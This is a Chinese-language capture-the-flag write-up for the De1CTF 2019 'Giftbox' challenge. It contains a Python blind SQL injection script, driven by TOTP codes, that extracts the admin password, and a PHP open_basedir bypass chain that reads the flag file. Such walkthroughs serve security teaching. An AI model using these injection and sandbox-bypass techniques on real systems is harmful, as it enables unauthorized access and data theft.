[De1CTF 2019]Giftbox

main.js里给了TOTP的参数

TOTP

image-20241210161534216

TOTP算法(Time-based One-time Password algorithm)是一种从共享密钥和当前时间计算一次性密码的算法。它已被采纳为Internet工程任务组标准RFC 6238,是Initiative for Open Authentication(OATH)的基石,并被用于许多双因素身份验证系统。
TOTP是基于散列的消息认证码(HMAC)的示例。它使用加密哈希函数将密钥与当前时间戳组合在一起以生成一次性密码。 由于网络延迟和不同步时钟可能导致密码接收者必须尝试一系列可能的时间来进行身份验证,因此时间戳通常以30秒的间隔增加,从而减少了潜在的搜索空间。

服务端时间与客户端时间相差大于15秒,需要先计算正确的totp才能调用shell.php

image-20241210160929686

进来就是命令行的形式,可以试一下命令,看wp就是help查看可用的指令—–

1
2
3
4
5
6
7
8
You can use following commands:

cd
ls
cat
clear
help
exit

ls一下找到一个usage.md文件,cat一下:

image-20241210161136725

获取到一些可以执行的文件,login应该是要先登录了,源码没给账号就是admin了,密码的话不知道没给提示就是SQL注入爆密码了,SQL盲注一下,这个里面可以SQL注入确实没想到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
[De1CTF 2019]Giftbox

import requests
import pyotp
from time import sleep
import re

url = "http://eec68b2e-7abc-4aae-ba15-43e2f4bc23ce.node5.buuoj.cn:81//shell.php"
totp = pyotp.TOTP('GAXG24JTMZXGKZBU', 8, interval=5)
name = ""
i = 0
while True:
sleep(0.5)
head = 32
tail = 127
i += 1
while (head < tail):
mid = head + tail >> 1
payload = "login admin'/**/and/**/(ascii(substr((select/**/concat(password)/**/from/**/users),%d,1))/**/>/**/%d)and/**/'1 admin" % (
i, mid)

params = {
"a": payload,
"totp": totp.now()
}

r = requests.post(url, params=params)
if "password" in r.text:
head = mid + 1
else:
tail = mid
if head != 32:
name += chr(head)
print(name)
else:
break

基本就是绕过open_basedir设置:(但是/过滤了)chr(47)代替

1
chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('flag'));

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
import requests
import pyotp
from time import sleep
import re

url = "http://80965cc9-78d4-4bec-83f6-ec550345fe26.node4.buuoj.cn:81/shell.php"
totp = pyotp.TOTP('GAXG24JTMZXGKZBU', 8, interval=5)
name = ""
i = 0
while True:
sleep(0.5)
head = 32
tail = 127
i += 1
while (head < tail):
mid = head + tail >> 1
payload = "login admin'/**/and/**/(ascii(substr((select/**/concat(password)/**/from/**/users),%d,1))/**/>/**/%d)and/**/'1 admin" % (i, mid)

params = {
"a":payload,
"totp":totp.now()
}

r = requests.post(url,params=params)
if "password" in r.text:
head = mid + 1
else:
tail = mid
if head != 32:
name += chr(head)
print(name)
else:
break

session = requests.session()

def login():
sleep(0.5)
r = session.get(url,params={'a': 'login admin '+ name, 'totp': totp.now()})

def destruct():
sleep(0.5)
r = session.get(url, params={'a': 'destruct', 'totp': totp.now()})

def targeting(code, position):
sleep(0.5)
r = session.get(url, params={'a': 'targeting ' + code + ' ' + position, 'totp': totp.now()})
print("code: " + code + " " + "position: " + position)

def launch():
sleep(0.5)
r = session.get(url, params={'a': 'launch', 'totp': totp.now()})
return r.text

def main():
login()
destruct()
targeting("a", "chdir")
targeting("b", "img")
targeting("c", "{$a($b)}")

targeting("d", "ini_set")
targeting("e", "open_basedir")
targeting("f", "..")
targeting("g", "{$d($e,$f)}")

targeting("h", "{$a($f)}")
targeting("i", "{$a($f)}")

targeting("j", "chr")
targeting("k", "{$j(47)}")
targeting("l", "{$d($e,$k)}")

targeting("m", "flag")
targeting("n", "file_get")
targeting("o", "_contents")
targeting("p", "$n$o")

targeting("q", "{$p($m)}")

print(re.search("flag{.*}", launch()).group(0)[:42])


if __name__ == '__main__':
main()

targeting 是赋值命令,launch命令是为了执行命令,destruct命令用来断开连接

参考连接:

https://blog.csdn.net/shinygod/article/details/124586542

glzjin